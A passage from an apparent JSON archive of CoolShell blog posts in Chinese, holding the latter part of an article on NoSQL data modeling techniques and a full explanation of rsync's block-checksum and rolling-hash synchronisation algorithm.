并不适用于数据字段经常被改变的情况。对此，我们需要把那些经常被改变的字段分到另外的表中，而在查询时我们需要联结数据。例如，我们有个Message系统可以有一个User实体，其包括了一个内嵌的Message实体。但是，如果用户不断在附加 message，那么，最好把message拆分到另一个独立的实体，但在查询时联结这User和Message这两个实体。如下图：\n\n\n[![](../wp-content/uploads/2012/05/aggregates-joins.png?w=594 \"aggregates-joins\")](https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png)\n\n\n**适用性**: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库， Graph Databases 图数据库。\n\n\n#### 通用建模技术 General Modeling Techniques\n\n\n在本书中，我们将讨论NoSQL中各种不同的通用的数据建模技术。\n\n\n##### (4) 原子聚合 Atomic Aggregates\n\n\n很多NoSQL的数据库（并不是所有）在事务处理上都是短板。在某些情况下，他们可以通过分布式锁技术或是[应用层管理的MVCC技术](http://highlyscalable.wordpress.com/2012/01/07/mvcc-transactions-key-value/ \"Implementation of MVCC Transactions for Key-Value Stores\")来实现其事务性（陈皓注：可参看本站的“[多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html \"多版本并发控制(MVCC)在分布式系统中的应用\")”）但是，通常来说只能使用聚合Aggregates技术来保证一些ACID原则。\n\n\n这就是为什么我们的关系型数据库需要有强大的事务处理机制——因为关系型数据库的数据是被规格化存放在了不同的地方。所以，Aggregates聚合允许我们把一个业务实体存成一个文档、存成一行，存成一个key-value，这样就可以原子式的更新了：\n\n\n\n[![](../wp-content/uploads/2012/05/atomic-aggregate1.png?w=594 \"atomic-aggregate\")](https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png)Atomic Aggregates\n\n\n\n当然，原子聚合 Atomic Aggregates 这种数据模型并不能实现完全意义上的事务处理，但是如果支持原子性，锁，或 test-and-set 指令，那么， Atomic Aggregates 是可以适用的。\n\n\n****适用性**:**Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。\n\n\n##### (5) 可枚举键 Enumerable Keys\n\n\n也许，对于无顺序的Key-Value最大的好处是业务实体可以被容易地hash以分区在多个服务器上。而排序了的key会把事情搞复杂，但是有些时候，一个应用能从排序key中获得很多好处，就算是数据库本身不提供这个功能。让我们来思考下email消息的数据模型：\n\n\n1. 一些NoSQL的数据库提供原子计数器以允许生一些连续的ID。在这种情况下，我们可以使用 *userID\\_messageID* 来做为一个组合key。如果我们知道最新的message ID，就可以知道前一个message，也可能知道再前面和后面的Message。\n2. Messages可以被打包。比如，每天的邮件包。这样，我们就可以对邮件按指定的时间段来遍历。\n\n\n******适用性**:****Key-Value Store 键值对数据库**。**\n\n\n##### (6) 降维 Dimensionality Reduction\n\n\nDimensionality Reduction 降维是一种技术可以允许把一个多维的数据映射成一个Key-Value或是其它非多给的数据模型。\n\n\n传统的地理位置信息系统使用一些如“四分树[QuadTree](http://en.wikipedia.org/wiki/Quadtree)” 或 “[R-Tree](http://en.wikipedia.org/wiki/R-tree)” 来做地理位置索引。这些数据结构的内容需要被在适当的位置更新，并且，如果数据量很大的话，操作成本会很高。另一个方法是我们可以遍历一个二维的数据结构并把其扁平化成一个列表。一个众所周知的例子是[Geohash](http://en.wikipedia.org/wiki/Geohash)（地理哈希）。一个Geohash使用“之字形”的路线扫描一个2维的空间，而且遍历中的移动可以被简单地用0和1来表示其方向，然后在移动的过程中产生0/1串。下图展示了这一算法：（陈皓注：先把地图分成四份，经度为第一位，纬度为第二位，于是左边的经度是0，右边的是1，纬度也一样，上面是为1，下面的为0，这样，经纬度就可以组合成01，11，00，10这四个值，其标识了四块区域，我们可以如此不断的递归地对每个区域进行四分，然后可以得到一串1和0组成的字串，然后使用0-9，b-z 去掉（去掉a, i, l, o）这32个字母进行base32编码得到一个8个长度的编码，这就是Geohash的算法）\n\n\n\n[![](../wp-content/uploads/2012/05/geohash-traversal1.png?w=594 \"geohash-traversal\")](https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png)Geohash Index\n\n\n\nGeohash的最强大的功能是使用简单的位操作就可以知道两个区域间的距离，就像图中所示（陈皓：proximity框着的那两个，这个很像IP地址了）。Geohash把一个二维的坐标生生地变成了一个一维的数据模型，这就是降维技术。BigTable的降维技术参看到文章后面的 [6.1]。更多的关于Geohash和其它技术可以参看 [6.2] 和 [6.3]。\n\n\n******适用性**:**** Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。\n\n\n##### (7) 索引表 Index Table\n\n\nIndex Table 索引表是一个非常直白的技术，其可以你在不支持索引的数据库中得到索引的好处。BigTable是这类最重要的数据库。这需要我们维护一个有相应存取模式的特别表。例如，我们有一个主表存着用户帐号，其可以被UserID存取。某查询需要查出某个城市里所有的用户，于是我们可以加入一张表，这张表用城市做主键，所有和这个城市相关的UserID是其Value，如下所示：\n\n\n\n[![](../wp-content/uploads/2012/05/index-table.png?w=594 \"index-table\")](https://coolshell.cn/wp-content/uploads/2012/05/index-table.png)Index Table Example\n\n\n\n可见，城市索引表的需要和对主表用户表保持一致性，因此，主表的每一个更新可能需要对索引表进行更新，不然就是一个批处理更新。无论哪个方式，这都会损伤一些性能，因为需要保持一致性。\n\n\nIndex Table 索引表可以被认为是关系型数据库中的视图的等价物。\n\n\n**适用性**: BigTable 数据库。\n\n\n##### (8) 键组合索引 Composite Key Index\n\n\nComposite key 键组合是一个很常用的技术，对此，当我们的数据库支持键排序时能得到极大的好处。Composite key组合键的拼接成为第二排序字段可以让你构建出一种多维索引，这很像我们之前说过的 Dimensionality Reduction 降维技术。例如，我们需要存取用户统计。如果我们需要根据不同的地区来统计用户的分布情况，我们可以把Key设计成这样的格式 *(State:City:UserID)*，这样一来，就使得我们可以通过State到City来按组遍历用户，特别是我们的NoSQL数据库支持在key上按区查询（如：BigTable类的系统）：\n\n\n\n```\nSELECT Values WHERE state=\"CA:*\"\nSELECT Values WHERE city=\"CA:San Francisco*\"\n```\n\n\n[http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png?w=594 \"composite-key-index\"](http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png)Composite Key Index\n\n\n\n****适用性**:** BigTable 数据库。\n\n\n##### (9) 键组合聚合 Aggregation with Composite Keys\n\n\nComposite keys  键组合技术并不仅仅可以用来做索引，同样可以用来区分不用的类型的数据以支持数据分组。考虑一个例子，我们有一个海量的日志数组，这个日志记录了互联网上的用户的访问来源。我们需要计算从某一网站过来的独立访客的数量，在关系型数据库中，我们可能需要下面这样的SQL查询语句：\n\n\n`SELECT count(distinct(user_id)) FROM clicks GROUP BY site`\n\n\n我们可以在NoSQL中建立如下的数据模型：\n\n\n\n[![](../wp-content/uploads/2012/05/composite-key-collating1.png?w=594 \"composite-key-collating\")](https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png)Counting Unique Users using Composite Keys\n\n\n\n这样，我们就可以把数据按UserID来排序，我们就可以很容易把同一个用户的数据（一个用户并不会产生太多的event）进行处理，去掉那些重复的站点（使用hash table或是别的什么）。另一个可选的技术是，我们可以对每一个用户建立一个数据实体，然后把其站点来源追加到这个数据实体中，当然，这样一来，数据的更新在性能相比之下会有一定损失。\n\n\n****适用性**:** Ordered Key-Value Store 排序键值对数据库， BigTable风格的数据库。\n\n\n\n##### (10) 反转搜索 Inverted Search – 直接聚合 Direct Aggregation\n\n\n这个技术更多的是数据处理技术，而不是数据建模技术。尽管如此，这个技术还是会影响数据模型。这个技术最主要的想法是使用一个索引来找到满足某条件的数据，但是把数据聚合起需要使用全文搜索。还是让我们来说一个示例。还是用上面那个例子，我们有很多的日志，其中包括互联网用户和他们的访问来源。让我们假定每条记录都有一个UserID，还有用户的种类 (Men, Women, Bloggers, 等)，以及用户所在的城市，和访问过的站点。我们要干的事是，为每个用户种类找到满足某些条件（访问源，所在城市，等）的的独立用户。\n\n\n很明显，我们需要搜索那些满足条件的用户，如果我们使用反转搜索，这会让我们把这事干得很容易，如： *{Category -> [user IDs]}* 或 *{Site -> [user IDs]}*。使用这样的索引， 我们可以取两个或多个UserID要的交集或并集（这个事很容易干，而且可以干得很快，如果这些UserID是排好序的）。但是，我们要按用户种类来生成报表会变得有点麻烦，因为我们用语句可能会像下面这样\n\n\n`SELECT count(distinct(user_id)) ... GROUP BY category`\n\n\n但这样的SQL很没有效率，因为category数据太多了。为了应对这个问题，我们可以建立一个直接索引 *{UserID -> [Categories]}* 然后我们用它来生成报表：\n\n\n\n[![](../wp-content/uploads/2012/05/invert-direct1.png?w=594&h=438 \"invert-direct\")](https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png)Counting Unique Users using Inverse and Direct Indexes\n\n\n\n最后，我们需要明白，对每个UserID的随机查询是很没有效率的。我们可以通过批查询处理来解决这个问题。这意味着，对于一些用户集，我们可以进行预处理（不同的查询条件）。\n\n\n**适用性**: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。\n\n\n#### 层级式模型 Hierarchy Modeling Techniques\n\n\n##### (11) 树形聚合Tree Aggregation\n\n\n树形或是任意的图（需反规格化）可以被直接打成一条记录或文档存放。\n\n\n* 当树形结构被一次性取出时这会非常有效率（如：我们需要展示一个blog的树形评论）\n* 搜索和任何存取这个实体都会存在问题。\n* 对于大多数NoSQL的实现来说，更新数据都是很不经济的（相比起独立结点来说）\n\n\n\n[![](../wp-content/uploads/2012/05/tree-aggregation.png?w=594 \"tree-aggregation\")](https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png)Tree Aggregation\n\n\n\n**适用性**: Key-Value 键值对数据库, Document Databases 文档数据库\n\n\n##### (12) 邻接列表 Adjacency Lists\n\n\nAdjacency Lists 邻接列表是一种图 – 每一个结点都是一个独立的记录，其包含了 所有的父结点或子结点。这样，我们就可以通过给定的父或子结点来进行搜索。当然，我们需要通过hop查询遍历图。这个技术在广度和深度查询，以及得到某个结点的子树上没有效率。\n\n\n**适用性**: Key-Value 键值对数据库, Document Databases 文档数据库\n\n\n\n##### (13) Materialized Paths\n\n\nMaterialized Paths 可以帮助避免递归遍历（如：树形结构）。这个技术也可以被认为是反规格化的一种变种。其想法是为每个结点加上父结点或子结点的标识属性，这样就可以不需要遍历就知道所有的后裔结点和祖先结点了：\n\n\n\n[![](../wp-content/uploads/2012/05/materialized-paths2.png?w=594 \"materialized-paths\")](https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png)Materialized Paths for eShop Category Hierarchy\n\n\n\n这个技术对于全文搜索引擎来说非常有帮助，因为其可以允许把一个层级结构转成一个文档。上面的示图中我们可以看到所有的商品或*Men’s Shoes*下的子分类可以被一条很短的查询语句处理——只需要给定个分类名。\n\n\nMaterialized Paths 可以存储一个ID的集合，或是一堆ID拼出的字符串。后者允许你通过一个正则表达式来搜索一个特定的分支路径。下图展示了这个技术（分支的路径包括了结点本身）：\n\n\n\n[![](../wp-content/uploads/2012/05/materialized-paths-2.png?w=594 \"materialized-paths-2\")](https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png)Query Materialized Paths using RegExp\n\n\n\n**适用性**: Key-Value 键值对数据库, Document Databases 文档数据, Search Engines 搜索引擎\n\n\n##### (14) 嵌套集 Nested Sets\n\n\n[Nested sets](http://en.wikipedia.org/wiki/Nested_set_model) 嵌套集是树形结构的标准技术。它被广泛地用在了关系性数据库中，它完全地适用于 Key-Value 键值对数据库 和 Document Databases 文档数据库。这个技术的想法是把叶子结点存储成一个数组，并通过使用索引的开始和结束来映射每一个非叶子结点到一个叶子结点集，就如下图所示一样：\n\n\n\n[![](../wp-content/uploads/2012/05/nested-sets.png?w=594 \"nested-sets\")](https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png)Modeling of eCommerce Catalog using Nested Sets\n\n\n\n这样的数据结构对于immutable data不变的数据 有非常不错的效率，因为其点内存空间小，并且可以很快地找出所有的叶子结点而不需要树的遍历。尽管如此，在插入和更新上需要很高的性能成本，因为新的叶子结点需要大规模地更新索引。\n\n\n**适用性**: Key-Value Stores 键值数据库, Document Databases 文档数据库\n\n\n#### (15) 嵌套文档扁平化：有限的字段名 Nested Documents Flattening: Numbered Field Names\n\n\n搜索引擎基本上来说和扁平文档一同工作，如：每一个文档是一个扁平的字段和值的例表。这种数据模型的用来把业务实体映射到一个文本文档上，如果你的业务实体有很复杂的内部结构，这可能会变得很有挑战。一个典型的挑战是把一个有层级的文档映映射出来。例如，文档中嵌套另一个文档。让我们看看下面的示例：\n\n\n\n[![](../wp-content/uploads/2012/05/nested-documents-1.png?w=594 \"nested-documents-1\")](https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png)Nested Documents Problem\n\n\n\n上面的每一个业务实体代码一种简历。其包括了人名和一个技能列表。我把这个层级文档映射成一个文本文档，一种方法是创建 *Skill* 和 *Level* 字段。这个模型可以通过技术或是等级来搜索一个人，而上图标注的那样的组合查询则会失败。（陈皓注：因为分不清Excellent是否是Math还是Poetry上的）\n\n\n在引用中的 [4.6] 给出了一种解决方案。其为每个字段都标上数字 *Skill\\_i* 和 *Level\\_i*，这样就可以分开搜索每一个对（下图中使用了OR来遍历查找所有可能的字段）:\n\n\n\n[![](../wp-content/uploads/2012/05/nested-documents-3.png?w=594 \"nested-documents-3\")](https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png)Nested Document Modeling using Numbered Field Names\n\n\n\n这样的方式根本没有扩展性，对于一些复杂的问题来说只会让代码复杂度和维护工作变大。\n\n\n**适用性**: Search Engines 全文搜索\n\n\n##### (16)嵌套文档扁平化：邻近查询 Nested Documents Flattening: Proximity Queries\n\n\n在附录 [4.6]中给出了这个技术用来解决扁平层次文档。它用邻近的查询来限制可被查询的单词的范围。下图中，所有的技能和等级被放在一个字段中，叫 SkillAndLevel，查询中出现的 “Excellent” 和 “Poetry” 必需一个紧跟另一个：\n\n\n\n[![](../wp-content/uploads/2012/05/nested-documents-2.png?w=594 \"nested-documents-2\")](https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png)Nested Document Modeling using Proximity Queries\n\n\n\n附录 [4.3] 中讲述了这个技术被用在Solr中的一个成功案例。\n\n\n**适用性**: Search Engines 全文搜索\n\n\n##### (17) 图结构批处理 Batch Graph Processing\n\n\nGraph databases 图数据库，如 neo4j 是一个出众的图数据库，尤其是使用一个结点来探索邻居结点，或是探索两个或少量结点前的关系。但是处理大量的图数据是很没有效率的，因为图数据库的性能和扩展性并不是其目的。分布式的图数据处理可以被 MapReduce 和 Message Passing pattern 来处理。如： [在我前一篇的文章中的那个示例](http://highlyscalable.wordpress.com/2012/02/01/mapreduce-patterns/ \"MapReduce Patterns, Algorithms, and Use Cases\")。这个方法可以让 Key-Value stores, Document databases, 和 BigTable-style databases 适合于处理大图。\n\n\n**Applicability**: Key-Value Stores, Document Databases, BigTable-style Databases\n\n\n#### 参考\n\n\nFinally, I provide a list of useful links related to NoSQL data modeling:\n\n\n1. Key-Value Stores:\n\t1. <http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/>\n\t2. [http://antirez.com/post/Sorting-in-key-value-data-model.htm](http://antirez.com/post/Sorting-in-key-value-data-model.html)l\n\t3. <http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases>\n\t4. <http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html>\n2. BigTable-style Databases:\n\t1. <http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524>\n\t2. <http://www.slideshare.net/mattdennis/cassandra-data-modeling>\n\t3. <http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis>\n\t4. <http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/>\n\t5. <http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable>\n3. Document Databases:\n\t1. <http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso>\n\t2. <http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/>\n\t3. <http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/>\n\t4. <http://www.mongodb.org/display/DOCS/Schema+Design>\n\t5. <http://www.mongodb.org/display/DOCS/Trees+in+MongoDB>\n\t6. <http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling>\n4. Full Text Search Engines:\n\t1. <http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene>\n\t2. <http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both>\n\t3. <http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html>\n\t4. <http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/>\n\t5. <http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/>\n\t6. <http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene>\n\t7. <http://mysolr.com/tips/denormalized-data-structure/>\n\t8. <http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html>\n\t9. <http://java.dzone.com/articles/hibernate-search-mapping-entit>\n5. Graph Databases:\n\t1. <http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html>\n\t2. <http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html>\n\t3. <http://skillsmatter.com/podcast/nosql/graph-modelling>\n\t4. [http://www.umiacs.umd.edu/~jimmylin/publications/Lin\\_Schatz\\_MLG2010.pdf](http://www.umiacs.umd.edu/%7Ejimmylin/publications/Lin_Schatz_MLG2010.pdf)\n6. Demensionality Reduction:\n\t1. <http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores>\n\t2. <http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves>\n\t3. <http://www.trisis.co.uk/blog/?p=1287>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![SQL的Where语句](../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg)](https://coolshell.cn/articles/1889.html)[SQL的Where语句](https://coolshell.cn/articles/1889.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/5826.html)[千万别用MongoDB？真的吗？！](https://coolshell.cn/articles/5826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-17 rsync 的核心算法.md",
    "content": "---\nlayout: post\ntitle: rsync 的核心算法\ndate: 2012/5/17/ 0:25:38\nupdated: 2012/5/17/ 0:25:38\nstatus: publish\npublished: true\ntype: post\n---\n\n[rsync](http://en.wikipedia.org/wiki/Rsync)是unix/linux下同步文件的一个高效算法，它能同步更新两处计算机的文件与目录，并适当利用查找文件中的不同块以减少数据传输。rsync中一项与其他大部分类似程序或协定中所未见的重要特性是镜像是只对有变更的部分进行传送。rsync可拷贝／显示目录属性，以及拷贝文件，并可选择性的压缩以及递归拷贝。rsync利用由[Andrew Tridgell](http://en.wikipedia.org/wiki/Andrew_Tridgell)发明的算法。这里不介绍其使用方法，只介绍其核心算法。我们可以看到，Unix下的东西，一个命令，一个工具都有很多很精妙的东西，怎么学也学不完，这就是[Unix的文化](https://coolshell.cn/articles/2322.html \"Unix传奇(上篇)\")啊。\n\n\n本来不想写这篇文章的，因为原先发现有很多中文blog都说了这个算法，但是看了一下，发现这些中文blog要么翻译国外文章翻译地非常烂，要么就是介绍这个算法介绍得很乱让人看不懂，还有错误，误人不浅，所以让我觉得有必要写篇rsync算法介绍的文章。（当然，我成文比较仓促，可能会有一些错误，请指正）\n\n\n#### 问题\n\n\n首先， 我们先来想一下rsync要解决的问题，如果我们要同步的文件只想传不同的部分，我们就需要对两边的文件做diff，但是这两个问题在两台不同的机器上，无法做diff。如果我们做diff，就要把一个文件传到另一台机器上做diff，但这样一来，我们就传了整个文件，这与我们只想传输不同部的初衷相背。\n\n\n于是我们就要想一个办法，让这两边的文件见不到面，但还能知道它们间有什么不同。这就出现了rsync的算法。\n\n\n#### 算法\n\n\nrsync的算法如下：（**假设我们同步源文件名为fileSrc，同步目的文件叫fileDst**）\n\n\n\n1）**分块Checksum算法**。首先，我们会把fileDst的文件平均切分成若干个小块，比如每块512个字节（最后一块会小于这个数），然后对每块计算两个checksum，\n\n\n* 一个叫[rolling checksum](http://en.wikipedia.org/wiki/Rolling_hash)，是弱checksum，32位的checksum，其使用的是Mark Adler发明的[adler-32](http://en.wikipedia.org/wiki/Adler-32 \"Adler-32\")算法，\n* 另一个是强checksum，128位的，以前用md4，现在用md5 hash算法。\n\n\n为什么要这样？因为若干年前的硬件上跑md4的算法太慢了，所以，我们需要一个快算法来鉴别文件块的不同，但是弱的adler32算法碰撞概率太高了，所以我们还要引入强的checksum算法以保证两文件块是相同的。**也就是说，弱的checksum是用来区别不同，而强的是用来确认相同**。（checksum的具体公式可以参看[这篇文章](http://rsync.samba.org/tech_report/node3.html)）\n\n\n2）**传输算法。**同步目标端会把fileDst的一个checksum列表传给同步源，这个列表里包括了三个东西，**rolling checksum(32bits)**，**md5 checksume(128bits)**，**文件块编号**。\n\n\n我估计你猜到了同步源机器拿到了这个列表后，会对fileSrc做同样的checksum，然后和fileDst的checksum做对比，这样就知道哪些文件块改变了。\n\n\n但是，聪明的你一定会有以下两个疑问：\n\n\n* 如果我fileSrc这边在文件中间加了一个字符，这样后面的文件块都会位移一个字符，这样就完全和fileDst这边的不一样了，但理论上来说，我应该只需要传一个字符就好了。这个怎么解决？\n\n\n* 如果这个checksum列表特别长，而我的两边的相同的文件块可能并不是一样的顺序，那就需要查找，线性的查找起来应该特别慢吧。这个怎么解决？\n\n\n很好，让我们来看一下同步源端的算法。\n\n\n3）**checksum查找算法**。同步源端拿到fileDst的checksum数组后，会把这个数据存到一个hash table中，用rolling checksum做hash，以便获得O(1)时间复杂度的查找性能。这个hash table是16bits的，所以，hash table的尺寸是2的16次方，对rolling checksum的hash会被散列到0 到 2^16 – 1中的某个整数值。（对于hash table，如果你不清楚，建议回去看大学时的数据结构教科书）\n\n\n顺便说一下，我在网上看到很多文章说，“要对rolling checksum做排序”（比如[这篇](http://www.yejun.cn/?p=472)和[这篇](http://blog.csdn.net/tobeandnottobe/article/details/6719848)），这两篇文章都引用并翻译了[原作者的这篇文章](http://rsync.samba.org/tech_report/node4.html)，但是他们都理解错了，不是排序，就只是把fileDst的checksum数据，按rolling checksum做存到2^16的hash table中，当然会发生碰撞，把碰撞的做成一个链表就好了。这就是[原文](http://rsync.samba.org/tech_report/node4.html)中所说的第二步——搜索有碰撞的情况。\n\n\n4）**比对算法**。这是最关键的算法，细节如下：\n\n\n4.1）取fileSrc的第一个文件块（我们假设的是512个长度），也就是从fileSrc的第1个字节到第512个字节，取出来后做rolling checksum计算。计算好的值到hash表中查。\n\n\n4.2）如果查到了，说明发现在fileDst中有潜在相同的文件块，于是就再比较md5的checksum，因为rolling checksume太弱了，可能发生碰撞。于是还要算md5的128bits的checksum，这样一来，我们就有 2^-(32+128) = 2^-160的概率发生碰撞，这太小了可以忽略。**如果rolling checksum和md5 checksum都相同，这说明在fileDst中有相同的块，我们需要记下这一块在fileDst下的文件编号**。\n\n\n4.3）如果fileSrc的rolling checksum 没有在hash table中找到，那就不用算md5 checksum了。表示这一块中有不同的信息。总之，只要rolling checksum 或 md5 checksum 其中有一个在fileDst的checksum hash表中找不到匹配项，那么就会触发算法对fileSrc的rolling动作。于是，**算法会住后step 1个字节，取fileSrc中字节2-513的文件块要做checksum，go to (4.1)** – 现在你明白什么叫rolling checksum了吧。\n\n\n4.4）这样，我们就可以找出fileSrc相邻两次匹配中的那些文本字符，这些就是我们要往同步目标端传的文件内容了。\n\n\n#### **rolling checksum算法**\n\n\n这个算法很简单，也叫[Rabin-Karp 算法](https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm)，由 Richard M. Karp 和 Michael O. Rabin 在 1987 年发表，它也是用来解决多模式串匹配问题的。其最大的精髓是，当我们往后面step 1个字符的时候，不用全部重新计算所有的checksum，也就是说，我们从 [0, 512] rolling 到 [1, 513] 时，我们不需要重新计算从1到513的checksum，而是重用 [0，512]的checksum直接算出来。\n\n\n这个算法比较简单，我举个例子，我们有一个数字：12345678，假设我们以5个长度作为一个块，那么，第一个块就是 12345 ，12345可以表示为：\n\n\n `1 * 10^4 + 2 * 10^3 + 3 * 10^2 + 4 * 10^1 + 5 * 10^0 = 12345` \n\n\n如果我们要step 1步，也就是要得到 23456， 我们不必计算：\n\n\n`2 * 10^4 + 3 * 10^3 + 4 * 10^2 + 5 * 10^1 + 6 * 10^0`\n\n\n而是直接计算：\n\n\n`(12345 - 1 * 10^4) * 10 + 6 * 10 ^0`\n\n\n我们可以看到，其中，我们把12345最左边第一位去掉，然后，再加上最右边的一位。这就是Rolling checksum的算法。\n\n\n实际的公式是：\n\n\n`hash ( t[0, m-1] ) = t[0] * b^(m-1) + t[1] * b^[m-2] ..... t[m-1] * b^0`\n\n\n其中的 b是一个常数基数，在 Rabin-Karp 算法中，我们一般取值为  256。\n\n\n于是，在计算 hash ( t[1, m] ) 时，只需要下面这样就可以了：\n\n\n`hash( t[1, m] ) = hash ( t[0, m-1] ) - t[0] * b^(m-1) + t[m] * b ^0`\n\n\n#### 图示\n\n\n怎么，你没看懂？ 好吧，我送佛送上西，画个示意图给你看看（对图中的东西我就不再解释了）。\n\n\n![](../wp-content/uploads/2012/05/rsync-algorithm.jpg \"rsync algorithm\")\n\n\n这样，最终，在同步源这端，我们的rsync算法可能会得到下面这个样子的一个数据数组，图中，红色块表示在目标端已匹配上，不用传输（注：我专门在其中显示了两块chunk #5，相信你会懂的），而白色的地方就是需要传输的内容（注意：这些白色的块是不定长的），这样，同步源这端把这个数组（白色的就是实际内容，红色的就放一个标号）压缩传到目的端，在目的端的rsync会根据这个表重新生成文件，这样，同步完成。\n\n\n![](../wp-content/uploads/2012/05/rsync-algorithm-result.jpg \"rsync algorithm result\")\n\n\n最后想说一下，对于某些压缩文件使用rsync传输可能会传得更多，因为被压缩后的文件可能会非常的不同。对此，对于gzip和bzip2这样的命令，记得开启 “rsyncalbe” 模式。\n\n\n（全文完，**转载时请注明作者和出处**）\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [rsync 的核心算法](https://coolshell.cn/articles/7425.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-19 扎克伯格的一封信：关于Facebook IPO.md",
